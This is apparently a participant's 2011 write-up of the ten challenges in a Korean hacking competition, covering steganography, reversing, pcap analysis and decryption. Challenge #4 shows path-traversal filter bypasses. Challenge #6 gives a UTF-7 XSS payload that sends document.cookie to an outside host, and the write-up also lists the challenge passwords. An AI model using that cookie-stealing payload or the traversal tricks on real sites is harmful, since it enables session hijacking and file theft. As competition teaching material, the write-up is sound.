GogoomaS Hacking League

Write-Up by iamfast (contact@imfast.kr)
Ranked #4 - http://bit.ly/oWZnW3

#0 - Introducing Myself.

My Nickname was "난빨라“ on the league at the time. I was ranked at 2nd at the first 5-6 hours, then I was ranked 4th at the middle of league at the end, I was ranked at 4th.. (but finished all the question.. could've be 2nd if answered 4 sec faster.. lol... -_-;)
This file is created to show how I have solved these hacking question.
I hope you can learn & enjoy hacking with this single file.
Any Questions can be sent to contact@imfast.kr
Bye~

#1 - Very Very Easy Question! (Easy Knowledge)

Link: http://cfile2.uf.tistory.com/image/185D3F4A4E2BD1E704982D
1. I had Captures This QR-CODE through barcapture.exe (can get from web)
2. Had Accessed Link - Beautiful woman's picture?!?!
3. Looks like Steganography (am I spelling right?). so I changed extention to txt.
4. Unknown code found @ the end of file via notepad (starts with <~)
5. it's base85 encryption if you see <~ at the first. found out to decrypt base85.
6. another weird encryption! so decrypting with base64.
7. ~.~ (Password is HanSeungYeonIsBest)

#2 - Medium question! (Reversing to get PW)

Link: http://blog.gogil.kr/attachment/cfile9.uf@156CA03B4E25327027C70F.exe
1. File was found to be UPX - DECODE! (upx -d crackme.exe) (This is optional)
2. Now OllyDebug to crack! (Since getting answer from notepad was impossible..)
3. Runned but exiting back? Try jmp-ing CheckDebugger API or get some anti-debugger kill tools from internet.
4. Write in textbox any word. (eg. “gogi_question_sucks")
5. breakpoint the one that has ascii "the one you have wrote in 4th step" annd its adress end is A8 :D
6. Now, Using tracing with the one that had breakpoint'd.
7. ~.~ (5 digits password)

#3 - Easy Question! (Using Packet Analysis)

Link: http://blog.gogil.kr/attachment/cfile29.uf@117C6C544E2D34E70DCD09.pcap

1. Open PCAP file extention w/t WireShark Tool.
2. Now Go To File->Export->Object->HTTP to get files that we had traced.
3. can you see multipart content-type attachment file? save!
4. extract zip file to your folder.
5. found ppt file saying that he likes pumping.
6. now change file into txt and access via notepad.
7. go find, and write "Park Jun Hyuk" and press enter.
8. find near to "Park Jun Hyuk" to see password (is an PNG)
9. ~.~ (Yeah! Pump it up!!!)

#4 - Medium Question! (Using DirectoryInjection)

Link: http://event.gogoomas.com/downpage/index.php

1. ./ changes into ._ (checked via GET file=./hint.txt)
2. ../ gives null output to your download file (checked via GET file=../hint.txt)
3. since double null cannot be done at the time, you can try to put one more same quotation at the middle of the quotation.
4. So, TRY .../ ./admin/answer.txt or ....//admin/answer.txt
5. ~.~ (ILIKEDOWNLOADANDUPLOAD)

#5 - Little Hard Question! (Using Mono Stream)

Link: http://cfile5.uf.tistory.com/media/132609484E26135409808B

1. hint given later: left-1 right-0.
2. using GoldWave Program, remove left and right each other using mono tech.
3. i found by using "이쑤시개" to see the difference between 0 and 1, cho-ap-bak.
4. now password foudnd! in 2 bit digit! (too long to paste in here)
5. ~.~ (gOOddOOng)

#6 - Very Hard Question (Using XSS Injection)

Link: http://event.gogoomas.com/board1/board.php

1. was searching what was exploit for XSS on the board -_-;
2. hint: charset - I was searching and found another txt_charset at writing board
3. change encoding to utf-7 and do XSS. (eg: http://a.imfast.kr/utf7.php)
4. try document.replace("http://a.imfast.kr/hello.php?cookie=" + Document.cookie);
5. found long long single cookie!
6. ~.~ (dOng_dOng)

#7 - Easy Question (Using ZIP Recovery)

Link: http://blog.gogil.kr/attachment/cfile1.uf@1538FA514E2C21E02BE680.crw

1. Nice Picture~ (.crw file?!?! hmm)

2. change into txt and open w/t notepad. (looks suspicious -_-)
3. found there was zip sign in it (can see through my sharp eye +_+)
4. changed extention from crw to zip.
5. the extrating tool says it's broken. - used Alzip to Recover ZIP File.
6. another zip found in that zip file (One inside that ZIP file was fake - PW: 1517)
7. ~.~ (I_L0V2_SeoYeonJi!!! - It's the zip file's name which was try to fool people!)

#8 - Easy Question (Using Signature & Colors)

Link: http://blog.gogil.kr/attachment/cfile6.uf@125354554E2C250D03BBEB.sdf
1. found that this file's signature is "ppt" (Found via notepad :D)
2. changed extention from sdf to ppt. (picture cannot be usually stored in db file.)
3. found another picture called 9B3D725B.png in it.
4. OMG, This has colors and no colors!.
5. so looking suspicious.. I've figured out that total colors at a line was 7 - ASCII!
6. another thing that 2 digit code was colored layer=1, no colored layer=0.
7. found? the digit is ascii 4 letters. (1010011 1100101 1010010 1000001)
8. ~.~ (SeRA)

#9 - Medium Question (Using DES Decrypt)

Link: http://www.mediafire.com/?1bv6w5kcy4o666r
1. cracked .smi file (i found out that there was base64 by looking at "=" at the end of file (Value = 400809e29a067002)
2. Another thing found while watching video. (QR-Code at the end - KEY: "GoodJob")
3. I don't understand. -_-; is it hash decryption? .. It looks more suspicious when they gave unknown value and a "KEY". It might be some encryption with key..
4. Found out that it was DES Encryption.. (key was given so I knew it was this!)
5. ~.~ (ladybell)

#10 - Very Easy Question (Using with hands :D)

Link: http://http://event.gogoomas.com/gugu/index.php
1. 000-499 guessing with hand -_-; gogi is so lame guy :(
2. guessed 345 for fun..
3. ~.~ (HaNsTeR)

#11 - Ending..

I hope that you've enjoyed what I have wrote above :D
Any Questions can be sent to contact@imfast.kr and I am welcome to help you.

Have a nice day~

Written at 1st of August, 2011